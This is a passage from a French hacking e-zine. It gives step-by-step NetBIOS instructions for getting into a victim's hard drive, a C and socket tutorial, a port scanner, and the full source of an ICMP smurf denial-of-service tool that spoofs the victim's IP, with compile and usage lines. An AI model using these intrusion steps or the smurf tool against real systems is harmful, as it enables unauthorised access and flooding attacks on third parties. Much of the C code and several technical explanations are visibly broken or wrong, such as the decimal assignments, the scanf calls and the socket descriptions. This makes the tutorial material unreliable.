--------------------------------------------------

MONORDINATEUR <00> UNIQUE Registered

MONGROUPE          <00> GROUP  Registered

MONORDINATEUR <03> UNIQUE Registered

MONORDINATEUR <20> UNIQUE Registered

MONGROUPE          <1E> GROUP  Registered

MAC Address = 44-45-53-54-00-00 

Ce qui nous interesse dans cette liste, c'est le nom d'ordinateur avec le <20>, UNIQUE et Registered écris devant, retenez donc ce nom. Maintenant on va éditer le fichier lmhsot.sam. Toujours sous DOS, tapez

>edit lmhost.sam

Vous allez vous aperçevoir que ce fichier est vide, tapez donc à l'intérieur :

>MONORDINATEUR ip #PRE

Où MONORDINATEUR représente le nom du pc de la victime, et ip son adresse ip.

Restez sous DOS et tapez :

>NBTSTAT -R

Vous devriez alors obtenir, si tout se passe bien, ce message :

Successful purge and preload of the NBT Remote Cache Name Table

C'est à ce moment là que tout va se jouer.... Quittez la fenêtre MS-DOS (tapez "exit"), allez dans démarrer/rechercher/ordinateur distant puis tapez le nom du pc de la victime (ici MONORDINATEUR).

Si un nom de pc s'affiche, c'est gagné, c'est celui de la victime, vous allez donc pouvoir accèder à son DD ...

Hummm, voilà, c'est tout ce que l'on peut dire sur cette méthode d'infiltration... Bonne chance  !!!         :)) 
 
 
 

8°/La programmation en C 

Bon, dans ce chapitre, je vais essayer de vous apprendre les bases du langage c, un langage hyper-important puisque la plupart des procédures ou des programmes utilisés en hacking ou en réseau sont codés en C. Si vous pensez que le C est difficile, détrompez vous, il n'est pas plus dûr que n'importe quel autre langage de programmation. On dit également souvent que pour la programmation , faut être bon en maths... Arf, moi je trouve cette idée là totalement stupide, étant donné que les maths, primo, c'est pas  mon truc, et secundo, j'arrive très bien à programmer sans avoir mon bouquin de maths sous les yeux... ;) Alors, déprimez pas, même si vous n'avez jamais fait de programmation, le c est facile ! Bon, on commence...  

Voilà, pour commencer, un exemple basic de programme en C : 

1. /* Ce programme affiche la chaîne "bonjour" */

2. #include <stdio.h>

3. main()

4. {

5. printf("bonjour\n");

6. return 0;

7. } 

Alors, voici un descriptif de ces différentes lignes (oui je sais ça a l'air compliqué  :p) : 

1. /* et */ servent à inclure des remarques dans le programme, ce qui peut être très utile pour expliquer le fonctionnement d'une procédure, ou pour mettre son pseudo dans le programme par exemple .  ;)  

2. Il s'agit de la directive du programme. Une directive #include <exemple.h> va inclure toutes les fonctions déjà préprogrammées dans la librairie "exemple.h" . Ici, nous avons #include <stdio.h> qui inclut les fonctions d'e/s (entrées/sorties) programmées dans la librairie stdio.h . Cette librairie comprend nottament les fonctions printf() et scanf(), qui vont nous être très utiles dans la suite du programme. 

3. Tout programme c qui se respecte contient obligatoirement une fonction main(), qui comprend toutes les instructions du programmes qui vont devoir être utilisées. Voilà les différents type de main() :

-void main(void) : La fonction main() ne prend aucun paramètre et ne retourne pas de valeur. 

-int main(void) : La fonction main() retourne une valeur à l'aide de l'instruction return. Cette valeur peut éventuellement être récupérée par l'environnement à partir duquel le programme a été lancé.

-int main(int argc, char *argv[]) : On obtient alors des programmes auxquels on peut adresser des arguments au moment où on lance le programme : on dit alors que l'on envoie des arguments par la ligne de commande. 

4/7. Les accolades { et } marquent le début et la fin d'une fonction. Ici, ils marquent le début et la fin de la fonction main() . 

5. printf() est la fonction qui sert à afficher une chaîne de caractères.

Exemple: printf("bonjour") servira à afficher le mot "bonjour". Il existe également des marqueurs à l'intérieur de cette fonction, tels que "\n", qui sert pour le pasage à la ligne, "\b", pour revenir sur le caractère précédent, "\"", pour écrire des guillemets, etc... 

La fonction printf() peut également contenir des "indicateurs de formats", exemple : 

printf("%s mesure %d centimètres et pèse %f kilogrammes", nom, hauteur, poids) 

Voilà une description de ces indicateurs: 

%s , pour indiquer une chaîne de caractères de type char.

%d , pour indiquer un entier de type int.

%f , pour indiquer un nombre réel de type float. 

Donc, quand on voudra afficher un mot, on utilisera %s, pour afficher un nombre entier, %d, et pour un nombre à virgule, %f.

La fonction printf interprète la chaîne de caractères en écrivant tous les caractères ordinaires et en remplaçant les indicateurs de format par les valeurs ou les valeurs des variables qui se trouvent derrière la virgule, en respectant l'ordre : au premier % correspond la première valeur indiquée, au deuxième % la deuxième valeur indiquée et ainsi de suite.

Dans notre exemple, on a : 

%s, qui correspond à la variable "nom"

%d, qui correspond à la variable "hauteur"

%f, qui correspond à la variable "poids" 

La valeur de ces variables est logiquement définie juste après la fonction main(). Supposons que l'on veuille afficher grâce à la fonction printf() ceci: James mesures 180 centimètres et pèse 65,3 kilogrammes.

En sachant que James=nom, 180=hauteur et 65,3=poids, on va donc définir la valeur des variables : 

int hauteur;      /* cela définit la variable hauteur */

float poids;    /* cela définit la variable poids */

char nom[5];  /* cela définit un tableau de 5 caractères pour le nom James/

/* On affecte nos valeurs à ces variables */

hauteur = 180;

poids = 65,3;

nom[5] = "James"; 

Voilà, le tour est joué !!! Maintenant, la ligne printf("%s mesure %d centimètres et pèse %f kilogrammes", nom, hauteur, poids) affichera :

James mesures 180 centimètres et pèses 65,3 kilogrammes.

Le tour est joué ! On peut également demander à l'utilisateur du programme d'assimiler ses propres valeurs aux variables, via la fonction scanf().

Voilà un exemple de programme faisant cela, vous allez vite comprendre : 

#include <stdio.h>    /* on inclut les fonctions d'e/s */

main();

{

int age;     /* déclaration des variables */

float weight;

char first[15], last[15];     /* 2 tableaux de caractères, pour le nom et le prénom ( last et first)  */

/* fin de la déclaration des variables */

printf("\nQuel est votre prénom?");    

scanf(" %s", first);     /* scanf() va demander a l'utilisateur d'entrer une valeur pour "first", notez l'espace entre " et %s",  ;)  */

printf("Quel est votre nom?");

scanf(" %s", last);     /* même chose mais avec le nom (last) */

/* On abandonne les indicateurs %s :p */

printf("Quel âge avez vous?");

scanf(" %d", &age);     /* notez l'eperluette pour les nombres :) */

printf("Combien pesez vous?")

scanf(" %f", &weight);     /* même chose */

/* Toutes les valeurs tapées par l'utilisateur ont bien été assimilées aux variables, on va maintenant les ressortir :) */

printf("Monsieur %s %s a %d ans et pèse %f kilogrammes", last, first, age, weight);     /* héhéh, un peu rapide mais bon.... */

return 0;     /* prenez cette bonne habitude ;) */

}     /* fin du programme */

/* coded by [Kefka] ;p */ 

Voilà, avec toutes ces remarques inserées dans le programme, je pense que vous avez compris. Sinon, l'instruction "return 0;" à la fin de la fonction main permet de renvoyer la valeur 0 au système, ce qui signifie (par convention) que le programme s'est terminé dans des conditions normales. Le renvoi d'une telle valeur entière est rendu obligatoire par l'en-tête de la fonction main qui annonce le retour d'un int : int main(...) .

Bon, voilà, c'est tout ce que vous avez à savoir sur les printf() et scanf(), pas trop dur finalement... 

On va maintenant s'interesser aux instruction de contrôle du c, à savoir if, else, while, for, etc...

Avant de commencer, voici une liste non exhaustive des opérateurs du c :

-------------------------------------------------------------------------------------------

==                                       >                                                        Egal à

>                                         >                                                Supérieur à

<                                         >                                                  Inférieur à

>=                                       >                                    Supérieur ou égal à

<=                                       >                                      Inférieur ou égal à

!=                                        >                                               Différent de

+                                         >                                                       Ajoute

-                                          >                                                    Soustrait

*                                         >                                                     Multiplie

/                                          >                                                        Divise

++                                      >                                                 Incrémente

--                                        >                                                Décrémente

%                                       >                      Calcule le reste d'une division

|                                          >                                                             Ou

&                                        >                                                              Et

=                                         >                                                      Affecte

?:                                         >                                           Comparaisons

->                                        >                                                   Pointeurs

------------------------------------------------------------------------------------------- 

Bon, on va commencer par étudier la fonction if... Cette fonction se présente comme ceci : if (quelque chose correspond a quelque chose) >> instruction (alors on execute une instruction). Je pense qu'un exemple concret vous sera plus utile : 

if (age < 18)     /* Si l'age donné est inférieur à 18... */

{        

printf("Vous n'êtes pas en âge de voter\n");     /* alors vous n'êtez pas en âge de voter :(( */

annees = 18 - age;

printf("Vous pourrez voter dans %d ans", &annees);     /* mais vous pourrez voter dans x annees */

 

Ensuite on peut mettre une deuxième fonction if(), par exemple : 

if (age > 18)     /* Si l'age donné est supérieur à 18 */

{

printf("Vous pouvez voter !!!\n");

} 

Si il n'y a que deux fonctions if() à placer et que vous être trop feignant (ben voyons...) il exister aussi la fonction else(). Ainsi , : 

if (age < 18)

{

printf("Vous n'êtes pas en âge de voter\n");

annees = 18 - age;

printf("Vous pourrez voter dans %d ans", &annees);

}

else

{

printf("Vous pouvez voter !!!\n");  

Voilà, aussi simple que ça. Bon, maintenant, étudions une autre instruction de contrôle: la boucle while. On va prendre pour exemple une boucle while qui parcoure le code tant que l'expression relationelle n'est pas vraie:  

while (montant < 25)

{

printf("Montant trop faible");

valIncorrect++;     /* compte le nombre de problème, valIncorrect = valIncorrect + 1 vu? */

printf("Nouvel essai, nouveau montant?\n"); 
scanf(" %d", montant);
 

Tant que le montant indiqué par l'utilisateur du programme sera un montant inférieur à 25, l'instruction se répétera. 

Bon, encore autre chose, la boucle for. Prenons un exemple. For (i=0; i <= 10; i++). La boucle va prendre une valeur i, 0 (i=0), et va lui ajouter 1 (i++) jusqu'à ce que i fasse 10 (i <=10). Voilà un exemple de programme utilisant la boucle for : 

for (montant=0; montant<=25; montant++)     /* on ajoute 1 a "montant" jusqu'à ce que "montant" fasse 25 */

{

printf(" %d", montant);     /* on affiche la valeur de "montant" */

} 

Bon, voilà, pas besoin d'en mettre plus pour le moment, cela devrait déjà bien vous servir :)) . Et n'oubliez pas, les deux seules régles pour maîtriser un langage de programmation , c'est a) lire du code et b) écrire du code. :) 
 
 
 

9°/Programmation de sockets 

a) Présentation d'une socket 

Bon, pour commencer, il serait intéressant de savoir qu'est ce qu'une socket. Une socket est un API (Application Programm Interface) qui permet le transfert de données entre deux processeurs distants ou non. Au plan matériel, la socket est une "carte" qui relie la carte mère au processeur. Enfin, bref, pour communiquer, nous allons devoir créer une socket sur le client et tenter de la connecter à une socket sur le serveur. 

En C, la création d'une socket se présentez sous cette forme : 

int socket(int domain, int type, int protocol); 

Cette socket est définie par trois éléments, dont voici les détails : 

-domain: C'est le domaine d'adressage de la socket, qui peut être soit *AF_INET (pour internet)

*AF_UNIX (pour la communication inter-processus sous UNIX) 

-type: Il s'agit du type de la socket, de la façon dont la socket va trasporter les données. On distingue plusieurs modes, qui contiennent différent types de socket. Ces modes sont les suivants :

*Direct protocol: Ce mode recouvre SOCK_RAW (pour écrire directement dans ses packets ip).

*Mode connecté: SOCK_DGRAM

*Mode non-connecté: SOCK_STREAM 

-protocol: Cet élément définit le protocole utilisé par la socket. Voici ces différents types de protocoles :

*0: C'est le protocole par défaut. C'est le système qui déterminera le type de protocole, UDP pour le mode non-connecté et TCP pour le mode connecté.

*IPPROTO_UDP: Pour le protocole UDP (User Datagramm Protocol). 
*IPPROTO_TCP: Pour le protocole TCP (Transmission Control Protocol).
 

Voilà, clair non? Voici maintenant un exemple de socket:

Kefka = socket(AF_INET, SOCK_DGRAM, 0)

Cette socket, qui répond au doux nom de Kefka (;)), est une socket qui possède un domaine d'adressage Internet, en mode non-connecté, et donc qui utilise le protocole UDP.

On aurait aussi pu écrire:

Kefka = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) mais ça nous rallonge beaucoup trop, alors dans presque tous les cas le type de protocole utilisé sera 0, donc on laissera le choix au système. 
 

b)Récupération des information de l'host 

Bon, on a notre socket, c'est bien , mais le tout est de pouvoir la raccorder à quelque chose, càd la socket distante, située sur le serveur.

Il va évidemment nous falloir l'adresse de la socket distante, afin de pouvoir établir une communication avec celle-ci. Nous allons utiliser pour cela la structure sockaddr_in (in pour Internet), car en effet la structure sockaddr mise toute seule est une structure qui recouvre tous les type de socket, trop générique pour la socket que nous avons créer donc. 

Cette structure se présente donc comme ceci : 

struct sockaddr_in

{

short                    sin_family;

u_short                sin_port;

struct in_addr       sin_addr;

char                     sin_zero[8]

} 

Voilà la définition des parties de ces structures:

-sin_family , qui va représenter la famille de l'adressage de la socket, qui dans notre cas va être AF_INET.

-sin_port , qui va représenter le numéro de port en format réseau, sur lequel la socket écoute.

-sin_addr , qui va représenter l'adresse ip en format réseau de la machine serveur (sur laquelle on veut connecter notre socket).

-sin_zero[8] , qui va représenter un tableau de 8 caractères, cette partie est facultative, oublions la. 

Voici un exemple d'initialisation de cette structure :

struct sockaddr_in addrSock;

addrSock.sin_family = AF_INET;

addrSock.sin_port = htons(Port);

addrSock.sin_addr = *(struct_in addr *) serveur->h_addr; 

Bon, c'est pas très clair pour l'instant, je le reconnais. La fonction htons() s'occupe de la conversion du numéro de port au format réseau.

Pour ce qui est de la partie addrSock.sin_addr, suivi de *(struct_in addr *) serveur->h_addr, vous allez comprendre par la suite ne vous inquiétez pas. 

Bon, pour se connecter à notre socket, il faut peut être savoir où elle se trouve. La structure hostent va s'occuper de cela. Cette structure va convertir les informations relatives au serveur où se trouve le socket sur lequel on désire se connecter. 

Et voilà comment se présente cette structure : 

struct hostent

{

char *h_name;

char **h_aliases;

int h_addrtype;

int h_lenght;

chat **h_addr_list

} 

Héhéhé, ça doit vous rapeller des choses ça... Et voilà à quoi correspondent ces différents éléments :

-h_name: Il s'agit d'une chaîne de caractère représentant le nom d'host de la machine.

-h_aliases: Il s'agit d'une chaîne de caractères contenant les alias (facultatifs) de la machine.

-h_addrtype: Il s'agit du type d'adresse de l'host, qui sera bien entendu Ipv4 (et oui, Ipv6, c'est pas encore :)) ).

-h_lenght: Il s'agit de la longueur de l'adresse.

-h_addr_list: Il s'agit d'un tableau de caractères contenant la liste des adresses de cet host. 

Et voilà, tout s'éclaire !!! Vous savez désormais que *(struct in_addr *) serveur h_addr va représenter l'adresse de l'host. 

Nous allons maintenant récupérer des infos sur la machine, grâce à la fonction gethostbyname(). Voilà comment se présente cette fonction : 

struct hostent *gethostbyname(const char *name); 

Cette fonction renvoie un pointeur sur la structure hostent.

Voici un exemple de l'utilisation de cette fonction : 

struct hostent Host;

Host = gethostbyname(MachineName); 

Cette fonction va utiliser le nom de la machine (MachineName) pour récupérer des informations sur l'host. 
 

c)Connection de la socket 

Nous avons maintenant créer notre socket, nous avons défini l'adresse d'une socket distante et nous avons récupérer des informations sur la machine sur laquelle se trouve le socket. Nous allons maintenant connecter notre socket avec celle de la machine distante.

Et pour cela, on va utiliser la fonction connnect : 

int connect(int sockfd, struct sockaddr *serv_addr, socklen_t addrlen); 

Et voilà le détail des éléments de cette fonction :

-sockfd: C'est le nom de notre socket.

-struct sockaddr *serv_addr: C'est un pointeur vers une structure de type sockaddr, qui est notre adresse de socket.

-socklent_t addrlen: C'est la taille de notre structure sockaddr. 

Si la fonction renvoie une valeur supérieure ou égale à zéro, la connection est établie, si la valeur renvoyée est strictement inférieure à zéro, la connection n'est pas établie. 

Enfin, la dernière fonction que l'on utilisera sera close(), pour fermer notre socket. Voilà vous savez tout !!! 
 
 
 

10°/Programmation d'un scanneur de ports 

Bon, maintenant que nous savons créer notre socket et la connecter, on va pouvoir faire plein de trucs. Ici, on va donc apprendre à créer un scanneur de ports. Le principe est le suivant : On va demander à l'utilisateur du programme d'entrer l'adresse d'une machine à scanner, et on va tenter d'établir une connection à tous les sockets présents sur cette machine, à partir d'une socket que nous allons créer. Comme chaque socket est assimilé à un numéro de port, le programme nous renverra les noms des ports ouverts, càd le nom des ports des sockets sur lesquels il est possible d'établir une connection. 

Voici le code source largement commenté du programme faisant cela : 

/**************************/

/*      KefScan - By [Kefka]     */

/*  nickairmax@caramail.com  */

/*      ou retrouvez moi sur       */

/*       irc.jeuxvideo.com          */

/*    ---All right reserved---       */

/**************************/ 

/* Déclaration des directives */

 
#include <stdio.h>        

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h> 
 

/* Fonction sockscan() */ 

/* Déclaration de la fonction */

int sockscan(char nomduserveur[], int nbredePorts)    

{

/* Déclaration de la structure sockaddr */

   struct sockaddr_in addrSocket;

/* Déclaration du pointeur serveur sur la structure hostent */

   struct hostent *serveur;

/* Déclaration des variables, initialisation des variables à zéro (fd pour la socket, i pour le compteur de la boucle for, et portsOuverts pour le nombre de ports ouverts :))) */

   int fd, i, portsOuverts = 0;     

/* Récupération des informations avec gethostbyname() */

   serveur = gethostbyname(nomduserveur);

/* Initialisation de la structure sockaddr */

   addrSocket.sin_family = AF_INET;

   addrSocket.sinaddr = *(struct in_addr*) serveur->h_addr;

/* Affichage du nom de la machine contenue dans la structure hostent */                                                                                                                                                                                                          

   printf("Un scann va être effectué sur %s", serveur->h_name);

/* Déclaration de la boucle for, pour i=1, on incrémente 1 à i jusqu'à ce    que i soit égal au nombre de ports */

   for(i=1;i<=nbredePort;i++)

   {

/* Création de la socket en mode connecté sur TCP */

      fd = socket(AF_INET,SOCK_STREAM,0);

/* Initialisation du numéro de port en format réseau avec htons() */

      addrSocket.sin_port = htons(i);

/* Vérifie si la connection sur le socket a pu être établie. Si supérieur à zéro, alors la connection a réussi, sinon ca n'a pas marché :p */

      if(connect(fd,(struct sockaddr *)&addrSocket, sizeofaddrSocket)>=0)

      {

/* Si la connection a réussi, on incrémente le nombre de ports ouverts */

       portsOuverts++;

/* Et on affiche le numéro du port ouvert */

       printf("\nLe port suivant est ouvert : %d\n", i);

     }    

/* On ferme notre socket */

      close(fd);

   }

/* Renvoie à la fonction main() le nombre de ports ouverts */

       return(portsOuverts);

} 
 

/* Fonction main() */ 

/* Déclaration de la fonction */

int main()

{

/* Déclaration des variables */

char *nomduserveur;

int nbredePorts, portsOuverts; 

/* On demande à l'utilisateur de rentrer ses données */

printf("##### KefScan #####\n");

printf("   coded by [Kefka]\n");

printf(" Tout droits reservés\n");

printf("Entrez l'adresse du serveur : ");

scanf("%s", nomduserveur);

printf("\n\nCombien de ports souhaitez vous scannez? ( max: 65535)");

scanf("%d", nbredePorts);

/* Boucle while, au cas ou le nombre de ports entré serait invalide */

while(nbredePorts<=0 | nbredePorts>65535)

{

printf("\nVeuillez patientez, scan en cours......");

/* On fait appel à la fonction sockscan() qui va afficher les numéros de ports ouverts et renvoyer le nombre de ports ouverts */

PortsOuverts = sockscan(nomduserveur, nbredePorts);

/* Maintenant on affiche les résultats globals du scan */

printf("\n\n*** Scan terminé !!! ***\nRésultats globaux :\Machine scannée : %s\nNombre de ports scannés : %d\nNombre de ports ouverts: %d\n\nCoded by [Kefka]\nThanks you for hacking :))",serveur->h_name,nbredePorts,PortsOuverts);

return 0;

}

/* Fin du programme */ 
 

Bon, voilà, ce programme s'appuie sur le chapitre précédent, je n'ai donc pas à re-détailler les structures et les fonctions.  

Bon, on va rester dans le domaine de la programmation en C avec un smurfer composé par un maître de la programmation, j'ai nommé, LiOn7.

Le chapitre qui suit comprend des éléments du chapitre précédent (arf l'embrouille), mais s'appuie sur un autre type de programmation : la programmation des raw-socket, c'est à dire la création de paquets (ICMP, IP,UDP, et TCP).

LiOn7, c'est à toi !!! ;p 
 
 
 

11°/ICMP Smurfing - By LiOn7 

a) Introduction  

Smurfing, DoS, techniques qui furent très en vogue ces cinq dernières années, ont largement prouvées leur efficacité que ce soit lors d'assauts de servers IRC ou WEB. Le principe très simple, rebute néanmoins la plus part des individus désireux de tenter l'expérience en raison de sa difficulté de mise en oeuvre, au moins au niveau de la programmation de l'outil. Je ne vais pas m'embarasser à vous rappeler le principe du fonctionnement d'un smurfer, vous êtes tous censés le connaitre. Les paquets ICMP envoyés seront de type ICMP_ECHO et de code 1. 

b) Protocole ICMP  

Le protocole ICMP (Internet Control Message Protocol) est un protocole qui permet de gérer les informations relatives aux erreurs aux machines connectées. Etant donné le peu de contrôles que le protocole IP réalise il permet non pas de corriger ces erreurs mais de faire part de ces erreurs aux protocoles des couches voisines. Ainsi, le protocole ICMP est utilisé par tous les routeurs, qui l'utilisent pour reporter une erreur (appelé Delivery Problem). Les messages d'erreur ICMP sont transportées sur le réseau sous forme de datagramme, comme n'importe quelle donnée. Ainsi, les messages d'erreur peuvent eux-mêmes être sujet d'erreurs. Toutefois en cas d'erreur sur un datagramme transportant un message ICMP, aucun message d'erreur n'est délivré pour éviter un effet "boule de neige" en cas d'incident sur le réseau.  

c) Datagrammes ICMP  

Nous savons donc que les données sont envoyés sous forme de datagramme, ce dernier est d'une simplicité déconcertante comparé à des datagrammes TCP par exemple (nécéssitant un nombre plus conséquant de headers). Il contient donc 4 champs: type, codé sur 8 bits, lors de notre smurf nous définiront le type comme ICMP_ECHO; code, codé sur 8 bits, nous allouerons la valeur 1; checksum codé sur 16 bits, et le message qui peut avoir une taille variable. Je vous propose une petite représentation ci-dessous(excusez mon manque de talent artistique):

 

0 ______________________15-16________________________31

|       |                Message ICMP                 |

|en-tête|____________________________________________ |

|       |        |         |             |            |

|       |Type(8b)| Code(8b)|Checksum(16b)|Message(xb) |

|_______|________|_________|_____________|____________| 
 

d) Programmation du smurfer  
 

Il s'agira donc d'envoyer des multiples ICMP_ECHO à un nombre conséquant de serveurs de diffusion (broadcasts) en spoofant son IP en tant que celle de la victime, ceux-ci pointeront alors sur la cible lord du renvoie des replies. Le smufer que je vous ai concocté est relativement simple d'utilisation, il vous invitera à entrer le nombre de broadcast, la quantité d'echos à envoyer, l'ip cible à spoofer. A chaque boucle l'ip du broadcast est demandée, une fonction listening s'est vu ajoutée. Celle-ci permet de recevoir un ECHO_REPLY à la suite d'un ping réalisé dans l'optique de vérifier la présence d'un hôte sur le réseau. Voici la structure d'un header ICMP. 
 

-> Structure de l'header ICMP 
 

struct icmphdr {

__u8 type;  // 0 ECHO_REPLY; 8 ECHO_REQUEST

__u8 code;  // 0, inutilisé

__u16 checksum; // 0 avec calcul

union {

struct {

__u16 id; // 0, utilisé pour déterminer l'appartenance d'une requête

__u16 sequence; // 0, voir id

}

echo;

__u32 gateway;

struct {

__u16 __unused

; __u16 mtu;

} frag;

}un;

};  
 

e) Code source  

/******************************************/

/*            Ssmurf By Li0n7                                    */    

/*    contactez-moi: killer.kil@voila.fr                     */

/*         http://www.rndghost.com                          */

/*       ICMP SMURFER - ICMP SPOOFER        */

/* Copyright Li0n7 - Tous droits réservés              */

/******************************************/  

/* Déclaration des headers */  

#include <stdio.h>

#include <linux/ip.h>

#include <linux/icmp.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <stdlib.h> 

/* Déclarations des variables et structures */  

char *sprotocol;

char *sa;

char *da;

int nbrPaquets, listening=0, optval, nb=0;

struct hostent *source;

struct hostent *cible;

struct sockaddr_in false;

struct sockaddr_in dest;

struct icmphdr *icmp;

struct iphdr *ip;

char  *packet, *buffer; 
 

/* Fonction chksum, thanks Nitr0gen */  

unsigned short in_cksum(unsigned short *addr, int len)

       {

           register int sum = 0;

           u_short answer = 0;

           register u_short *w = addr;

           register int nleft = len; 

           while (nleft > 1)

             {

                sum += *w++;

                nleft -= 2;

             } 

          

           if (nleft == 1)

             {

                *(u_char *) (&answer) = *(u_char *) w;

                sum += answer;

             }

         

           sum = (sum >> 16) + (sum & 0xffff);  

           sum += (sum >> 16);  

           answer = ~sum;  

           return (answer);

       } 
 

/* Vérifie l'existence des broadcasts et de la cible */  

int dhosts(char *fa, char *fd)

{

  if ((source=gethostbyname(fa))==NULL)

  {

    perror("Hote source invalide");

  } else {

    bzero(&false, sizeof(false));

       false.sin_addr=*(struct in_addr*)source->h_addr;

  } 

  if ((cible=gethostbyname(fd))==NULL)

  {

    perror("Broadcast invalide");

  } else {

    bzero(&dest, sizeof(dest));

    dest.sin_family=AF_INET;

    dest.sin_port=htons(random());

       dest.sin_addr=*(struct in_addr*)cible->h_addr;

  }

  return 0;

} 

/* Fonction forgeant les faux datagrammes */  

char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk)

{ 

        ip = (struct iphdr *) malloc(sizeof(struct iphdr));

        icmp     = (struct icmphdr *) malloc(sizeof(struct icmphdr));

        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); 

       ip = (struct iphdr *) packet;

        icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); 

/* Création de l'header IP */  

        ip->ihl     = sihl;

        ip->version = sversion;

        ip->tos     = stos;

        ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);

       ip->id      = htons(getuid());

       ip->ttl      = sttl;

       ip->protocol = IPPROTO_ICMP;

       ip->saddr    = false.sin_addr.s_addr;

       ip->daddr    = dest.sin_addr.s_addr; 

/* Création de l'header ICMP */  

       icmp->type = ICMP_ECHO;

       icmp->code = scode;

       icmp->un.echo.id = sechoi;

       icmp->un.echo.sequence = ssek;

       icmp->checksum = schk;

       icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); 

        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

       return (packet);

} 

/* Fonction de smurfing */ 

int ismurf(char *ia, char *id, int paquets, int slisten, int broads)

{

  int        j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk, sock, optval, pfailed=0, psucceed=0;

  char       *buf;

  char       *spaquet; 

/* Création du datagramme par l'utilisateur attaquant */  

       printf("IP ILH(5): ");

       scanf(" %d", &dihl);

       printf("IP VERSION(4): ");

       scanf(" %d", &dversion);

        printf("IP TOS(0): ");  

       scanf(" %d", &dtos);

        printf("IP TTL(255): ");

       scanf(" %d", &dttl);

        printf("ICMP CODE(1): ");

       scanf(" %d", &dcode);

        printf("ICMP ECHO.ID(0): ");

       scanf(" %d", &dechoi);

        printf("ICMP ECHO.SEQUENCE(0): ");

       scanf(" %d", &dsek);

        printf("ICMP CHECKSUM(0): ");

       scanf(" %d", &dchk); 
 

/* Boucle d'envoie des requêtes ICMP */  

       for(j=0;j<broads;j++)

         {

           printf("Serveur broadcast n°%d:", j+1);

           scanf("%s", buf);

           for(i=0;i<paquets;i++)

            {

             dhosts(ia, buf);

             bicmp(dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk);

              sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

             setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));

              if((sendto(sock,spaquet,ip->tot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0)

                {

                  printf("Erreur lors de l'envoie des paquets!\n");

                  pfailed++;

             } else {

                  printf("Données envoyées!\n");

                  psucceed++;

                 }

           }

         close(sock);

           } 

/* Statistiques de l'attaque */

        

       printf("\nStatistiques:\n");

       printf("Adresse source:                           %s.\n", ia);

       printf("Nombre de broadcasts:                     %d.\n", broads);

       printf("Nombres de paquets à envoyés par broad.:  %d.\n", paquets);

       printf("Nombres de paquets envoyés total:         %d.\n", paquets*broads);

       printf("Nombres de paquets correctement  envoyés: %d.\n", psucceed);

       printf("Nombres de paquets perdus:                %d.\n", pfailed);

          if(slisten!=1)

           {

             return 0;

           } 

/* Attend réponse de la cible, dans le cas d'une IP non spoofée */

       if (slisten==1)

         {

         if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0)

            { 

              printf("Received the ECHO REPLY!\n");

             return 0;

             } else {

             printf("Erreur, aucune réception.\n");

             return 0;

          }

         }

       close(sock);

       return 0;

} 

/* Fonction principale */  

int main(int argc, char *argv[])

{

  if (argc < 2)

    {

      printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n");

      printf("            [Présentation des arguments]               \n\n");

      printf("usage: ./smurf -s<SPOOFED_IP> -n<NBR PAQUETS> -l\n\n");

      printf("-s<SPOOFED_IP>: l'adresse falsifiée.\n");

      printf("-n<NBR_PAQUETS>: le nombre de paquets à envoyer.\n");

      printf("-b<NBR_SERVEURS>: le nombre de serveurs broadcasts.\n");

      printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n");

      printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n");

      exit(-1);

    } else { 

/* Récupère les arguments entrées par l'utilisateur attaquant */  

      while( (argc > 1) && (argv[1][0]=='-'))

       {

         switch(argv[1][1])

           {

           case 's':

             sa=&argv[1][2];

             break;

           case 'n':

             nbrPaquets=atoi(&argv[1][2]);

             break;

           case 'l':

             listening=1;

             break;

           case 'b':

             nb=atoi(&argv[1][2]);

             if(nb==0)

              {

                printf("Le nombre de serveurs ne peut être nul.\n");

                exit(-1);

              }

             break;

           }

         --argc;

         ++argv;

       }

    } 

/* Appel de la fonction smurf */  

  ismurf(sa, da, nbrPaquets, listening, nb);

     return 0;

}     
 
 

f) Extras  

Pour compiler:  

$ gcc -o smurf smurf.c  

usage: ./smurf -s[SPOOFED_IP] -n[NBR PAQUETS] -l  

-s[SPOOFED_IP]: l'adresse falsifiée.

-n[NBR_PAQUETS]: le nombre de paquets à envoyer.

-b[NBR_SERVEURS]: le nombre de serveurs broadcasts.

-l: listening, attend un réponse pour paquets icmp.  

Programme publié à but purement indicatif et explicatif.

Besoin d'aide? Commentaires? Insultes? - killer.kil@voila.fr . 

Ahem, voilà... Ce texte n'est désormais plus une exclusivité puisqu'il a été publié sur http://www.rndghost.com  , un très bon site d'ailleurs, n'hésitez pas à y faire un tour... :)

 
Bon, on quitte le domaine de la programmation pour attaquer un domaine lui aussi très privilégié par les programmeurs (hein LiOn7? :p): L'intelligence artificielle. Bon, pour commencer, voici un texte qui me servira d'introduction. Puis, au fur et à mesure des HackZine, j'essayerais d'approndir le sujet. (je ne sais toujours pas comment d'ailleurs :) ).

Paraît il que l'ia, c'est l'avenir du hacking... 
 
 
 

12°/Intelligence artificielle 

L'ordinateur n'est pas doué d'intelligence... 

Oui, je pense que vous vous en êtes rendu compte... Un ordinateur ne réagit que si on lui donne des instructions précises. Prenons un exemple concret. On a un robot, nommons le Windows (beurk...). On veut lui faire faire démarrer une voiture. Les instructions à donner devront être : 

1) Prend cette clé.

2) Mets la voiture en marche. 

Hélas, notre pauvre robot Windows n'a jamais vu de voiture ou de clé, et ne pourra jamais executer ces instructions, même si elles sont correctes. Vous devez donc lui détailler les instructions : 

